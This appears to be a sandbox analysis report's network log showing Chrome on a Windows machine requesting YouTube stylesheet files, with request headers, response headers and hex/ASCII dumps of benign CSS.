2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 72 28 2d 2d 62 6c 6f 62 2d 63 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 63 2d 79 29 2c 72 67 62 61 28 32 30 32 2c 32 32 31 2c 32 35 35 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 79 29 2c 72 67 62 61 28 32 31 32 2c 32 35 35 2c 32 34 38 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 79 29 2c 72 67 62 61 28 32 33 39 2c 32 32 Data Ascii: r(--blob-c-x) var(--blob-c-y),rgba(202,221,255,1),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-d-x) var(--blob-d-y),rgba(212,255,248,1),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-e-x) var(--blob-e-y),rgba(239,22
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 64 2d 79 29 2c 72 67 62 61 28 30 2c 30 2c 31 30 32 2c 30 2e 39 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 79 29 2c 72 67 62 61 28 32 36 2c 30 2c 38 39 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 7d 68 74 6d 6c 5b 64 61 72 6b 5d 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 32 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d Data Ascii: radial-gradient(ellipse 100% 100% at var(--blob-d-x) var(--blob-d-y),rgba(0,0,102,0.9),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-e-x) var(--blob-e-y),rgba(26,0,89,1),transparent 100%)}html[dark][ghost-cards-diffuse-2] .skeleton-bg-
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 39 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 2c 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 65 6c 6c 69 70 73 65 20 31 30 30 25 20 31 30 30 25 20 61 74 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 78 29 20 76 61 72 28 2d 2d 62 6c 6f 62 2d 65 2d 79 29 2c 72 67 62 61 28 30 2c 37 32 2c 38 39 2c 31 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 31 30 30 25 29 7d 68 74 6d 6c 5b 66 75 6e 2d 63 61 72 64 73 5d 20 79 74 64 2d 74 68 75 6d 62 6e 61 69 6c 2e 79 74 64 2d 72 69 63 68 2d 67 72 69 64 2d 6d 65 64 69 61 3a 62 65 66 6f 72 65 2c 68 74 6d 6c 5b 66 75 6e 2d 63 61 72 64 73 5d 20 79 74 64 2d 70 6c 61 79 6c 69 73 74 2d 74 68 75 6d 62 6e 61 69 6c 2e 79 74 64 2d 72 69 63 68 2d 67 72 69 64 2d 6d 65 64 69 61 3a 62 65 66 6f 72 65 2c 68 74 6d 6c 5b 66 75 6e Data Ascii: 9),transparent 100%),radial-gradient(ellipse 100% 100% at var(--blob-e-x) var(--blob-e-y),rgba(0,72,89,1),transparent 100%)}html[fun-cards] ytd-thumbnail.ytd-rich-grid-media:before,html[fun-cards] ytd-playlist-thumbnail.ytd-rich-grid-media:before,html[fun
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 33 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 31 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 2e 76 69 64 65 6f 2d 64 65 74 61 69 6c 73 20 2e 72 69 63 68 2d 74 68 75 6d 62 6e 61 69 6c 3a 62 65 66 6f 72 65 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 31 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 32 5d 20 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 Data Ascii: ,html[ghost-cards-3] #home-page-skeleton .skeleton-bg-color,html[ghost-cards-diffuse-1] #home-page-skeleton .video-details .rich-thumbnail:before,html[ghost-cards-diffuse-1] #home-page-skeleton .skeleton-bg-color,html[ghost-cards-diffuse-2] #home-page-ske
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 72 6b 5d 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 64 69 66 66 75 73 65 2d 33 5d 5b 61 6e 69 6d 61 74 65 64 2d 63 61 72 64 73 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 57 61 6c 6b 59 6f 75 72 42 6c 6f 62 73 20 38 73 20 6c 69 6e 65 61 72 20 31 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 33 73 7d 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 31 5d 5b 61 6e 69 6d 61 74 65 64 2d 63 61 72 64 73 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 32 5d 5b 61 6e 69 6d 61 74 65 64 2d 63 61 72 64 73 5d 20 2e 73 6b 65 6c 65 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 2c 68 74 6d 6c 5b 67 68 6f 73 74 2d 63 61 72 64 73 2d 33 5d 5b 61 6e 69 6d 61 74 65 Data Ascii: rk][ghost-cards-diffuse-3][animated-cards] .skeleton-bg-color{animation:WalkYourBlobs 8s linear 10;animation-delay:3s}html[ghost-cards-1][animated-cards] .skeleton-bg-color,html[ghost-cards-2][animated-cards] .skeleton-bg-color,html[ghost-cards-3][animate
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 62 2d 78 3a 39 31 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 79 3a 33 34 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 78 3a 31 30 39 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 79 3a 36 37 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 78 3a 33 30 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 79 3a 38 35 25 7d 38 30 25 7b 2d 2d 62 6c 6f 62 2d 61 2d 78 3a 33 37 25 3b 2d 2d 62 6c 6f 62 2d 61 2d 79 3a 2d 38 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 78 3a 31 30 31 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 79 3a 32 36 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 78 3a 31 31 35 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 79 3a 38 35 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 78 3a 32 37 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 79 3a 37 36 25 7d 39 30 25 7b 2d 2d 62 6c 6f 62 2d 61 2d 78 3a 35 30 25 3b 2d 2d 62 6c 6f 62 2d 61 2d 79 3a 30 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 78 3a 31 Data Ascii: b-x:91%;--blob-b-y:34%;--blob-c-x:109%;--blob-c-y:67%;--blob-d-x:30%;--blob-d-y:85%}80%{--blob-a-x:37%;--blob-a-y:-8%;--blob-b-x:101%;--blob-b-y:26%;--blob-c-x:115%;--blob-c-y:85%;--blob-d-x:27%;--blob-d-y:76%}90%{--blob-a-x:50%;--blob-a-y:0%;--blob-b-x:1
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 39 32 70 78 29 7b 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 23 67 75 69 64 65 2d 73 6b 65 6c 65 74 6f 6e 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 39 32 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 33 31 31 70 78 29 7b 23 68 6f 6d 65 2d 70 61 67 65 2d 73 6b 65 6c 65 74 6f 6e 20 23 67 75 69 64 65 2d 73 6b 65 6c 65 74 6f 6e 7b 77 69 64 74 68 3a 37 32 70 78 7d 7d 23 68 6f 6d 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 6b 65 6c 65 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 23 68 6f 6d 65 2d 70 61 67 Data Ascii: }@media (min-width:792px){#home-page-skeleton #guide-skeleton{display:flex}}@media (min-width:792px) and (max-width:1311px){#home-page-skeleton #guide-skeleton{width:72px}}#home-container-skeleton{background-color:#fff;width:100%;overflow:hidden}#home-pag
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 6e 67 3a 31 32 70 78 20 30 20 30 20 32 34 70 78 7d 23 68 6f 6d 65 2d 63 68 69 70 73 2e 6d 6f 72 65 2d 67 68 6f 73 74 2d 69 74 65 6d 73 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 23 68 6f 6d 65 2d 63 68 69 70 73 20 2e 68 6f 6d 65 2d 63 68 69 70 73 2d 67 68 6f 73 74 7b 68 65 69 67 68 74 3a 33 32 70 78 3b 77 69 64 74 68 3a 38 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 30 70 78 7d 68 74 6d 6c 5b 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 5d 20 23 68 6f 6d 65 2d 63 68 69 70 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 68 65 69 67 68 74 3a 35 36 70 78 7d 68 74 6d 6c 5b 64 61 72 6b 5d 20 23 68 6f 6d 65 2d 63 68 69 70 Data Ascii: ng:12px 0 0 24px}#home-chips.more-ghost-items{border-top:0;border-bottom:0}#home-chips .home-chips-ghost{height:32px;width:80px;border-radius:8px;margin-right:20px}html[darker-dark-theme] #home-chips{background-color:#fff;height:56px}html[dark] #home-chip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49789	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:51 UTC	1135	OUT	GET /s/desktop/80338919/cssbin/www-onepick.css HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:52 UTC	679	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 1011 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/css Vary: Accept-Encoding, Origin Age: 28963 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:52 UTC	573	IN	Data Raw: 2e 70 69 63 6b 65 72 2d 66 72 61 6d 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 72 64 65 72 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 70 69 63 6b 65 72 2e 6d 6f 64 61 6c 2d 64 69 61 6c 6f 67 2d 62 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 70 69 63 6b 65 72 2e 6d 6f 64 61 6c 2d 64 69 61 6c 6f 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 61 63 61 63 61 63 3b 77 69 64 74 68 3a 61 75 74 6f 3b 70 61 64 64 69 6e Data Ascii: .picker-frame{width:100%;height:100%;border:0;overflow:hidden}.picker.modal-dialog-bg{position:absolute;top:0;left:0;background-color:#fff}.picker.modal-dialog{position:absolute;top:0;left:0;background-color:#fff;border:1px solid #acacac;width:auto;paddin
2024-01-17 23:34:52 UTC	438	IN	Data Raw: 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 74 6f 70 20 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 74 6f 70 20 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 74 6f 70 20 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 6f 70 20 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 2e 70 69 63 6b 65 72 2d 6d 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 32 7d 2e 70 69 63 6b 65 72 2e 6d 6f 64 61 6c 2d 64 69 61 6c 6f 67 2d 63 6f 6e 74 65 6e 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 70 69 63 6b 65 72 2e 6d 6f 64 61 6c 2d 64 69 61 6c 6f 67 2d 74 69 74 Data Ascii: o-transition:top .5s ease-in-out;-webkit-transition:top .5s ease-in-out;-o-transition:top .5s ease-in-out;transition:top .5s ease-in-out}.picker-min{position:absolute;z-index:1002}.picker.modal-dialog-content{font-size:0;padding:0}.picker.modal-dialog-tit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49790	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:52 UTC	1211	OUT	GET /s/_/ytmainappweb/_/ss/k=ytmainappweb.kevlar_base.fLWlFbBZ5xY.L.B1.O/am=ABAK/d=0/rs=AGKMywHhXrldChEf48bT3v0YjuAtI5m7dg HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:52 UTC	873	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/youtube-main-app-web-scs-key Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="youtube-main-app-web-scs-key" Report-To: {"group":"youtube-main-app-web-scs-key","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube-main-app-web-scs-key"}]} Content-Length: 2146371 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:35:52 GMT Expires: Thu, 16 Jan 2025 15:35:52 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 04:14:00 GMT Content-Type: text/css; charset=UTF-8 Vary: Accept-Encoding Age: 28740 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:52 UTC	379	IN	Data Raw: 2e 6c 6f 74 74 69 65 2d 63 6f 6d 70 6f 6e 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 79 74 2d 73 70 65 63 2d 69 63 6f 6e 2d 73 68 61 70 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 2d 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 2d 6d 6f 64 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 Data Ascii: .lottie-component{display:block}.yt-spec-icon-shape{display:flex;align-items:center;justify-content:center;width:100%;height:100%}.yt-core-attributed-string--inline-flex-mod{display:inline-flex;height:1.4em;vertical-align:middle}.yt-core-attributed-string
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 74 6f 6d 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 5f 5f 69 6d 61 67 65 2d 65 6c 65 6d 65 6e 74 2d 2d 69 6d 61 67 65 2d 61 6c 69 67 6e 6d 65 6e 74 2d 62 61 73 65 6c 69 6e 65 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 5f 5f 69 6d 61 67 65 2d 65 6c 65 6d 65 6e 74 2d 2d 69 6d 61 67 65 2d 61 6c 69 67 6e 6d 65 6e 74 2d 76 65 72 74 69 63 61 6c 2d 63 65 6e 74 65 72 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 63 65 6e 74 65 72 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 5f 5f 6c 69 6e 6b 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 Data Ascii: tom}.yt-core-attributed-string__image-element--image-alignment-baseline{vertical-align:baseline}.yt-core-attributed-string__image-element--image-alignment-vertical-center{align-self:center}.yt-core-attributed-string__link{text-decoration:none}.yt-core-att
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 2d 2d 74 65 78 74 2d 61 6c 69 67 6e 6d 65 6e 74 2d 6a 75 73 74 69 66 69 65 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 2d 2d 74 65 78 74 2d 61 6c 69 67 6e 6d 65 6e 74 2d 6c 61 79 6f 75 74 2d 73 74 61 72 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 2d 2d 74 65 78 74 2d 61 6c 69 67 6e 6d 65 6e 74 2d 75 6e 6b 6e 6f 77 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f Data Ascii: t-align:center}.yt-core-attributed-string--text-alignment-justified{display:block;text-align:justify}.yt-core-attributed-string--text-alignment-layout-start{display:block;align-self:flex-start}.yt-core-attributed-string--text-alignment-unknown{display:blo
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 67 2d 2d 69 74 61 6c 69 63 69 7a 65 64 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 2d 2d 68 65 61 64 69 6e 67 2d 31 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 52 6f 62 6f 74 6f 22 2c 22 41 72 69 61 6c 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 36 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 2e 79 74 2d 63 6f 72 65 2d 61 74 74 72 69 62 75 74 65 64 2d 73 74 72 69 6e 67 2d 2d 68 65 61 64 69 6e 67 2d 32 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 52 6f 62 6f 74 6f 22 2c 22 41 72 69 61 6c 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 72 65 Data Ascii: g--italicized{font-style:italic}.yt-core-attributed-string--heading-1{font-family:"Roboto","Arial",sans-serif;font-size:1.8rem;line-height:2.6rem;font-weight:500}.yt-core-attributed-string--heading-2{font-family:"Roboto","Arial",sans-serif;font-size:1.6re
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 3a 66 69 78 65 64 3b 72 69 67 68 74 3a 65 6e 76 28 73 61 66 65 2d 61 72 65 61 2d 69 6e 73 65 74 2d 72 69 67 68 74 29 3b 74 6f 70 3a 65 6e 76 28 73 61 66 65 2d 61 72 65 61 2d 69 6e 73 65 74 2d 74 6f 70 29 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6f 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 79 74 2d 6d 69 6e 69 2d 61 70 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 76 69 65 77 2d 6d 6f 64 65 6c 2d 2d 69 6f 73 2d 77 65 62 2d 76 69 65 77 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f Data Ascii: :fixed;right:env(safe-area-inset-right);top:env(safe-area-inset-top);user-select:none;-webkit-user-select:none;-ms-user-select:none;-moz-user-select:none;-o-user-select:none}.yt-mini-app-container-view-model--ios-web-view{height:100vh;position:absolute;to
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 72 6f 75 6e 64 2d 62 6c 75 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 32 30 25 20 31 35 30 25 3b 66 69 6c 74 65 72 3a 62 6c 75 72 28 32 30 30 70 78 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 79 74 2d 6d 69 6e 69 2d 61 70 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 76 69 65 77 2d 6d 6f 64 65 6c 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 73 63 72 69 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 36 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 Data Ascii: round-blur{background-position:center center;background-repeat:no-repeat;background-size:120% 150%;filter:blur(200px);height:100%;width:100%}.yt-mini-app-container-view-model__background-scrim{background-color:rgba(0,0,0,0.6);height:100%;left:0;position:a
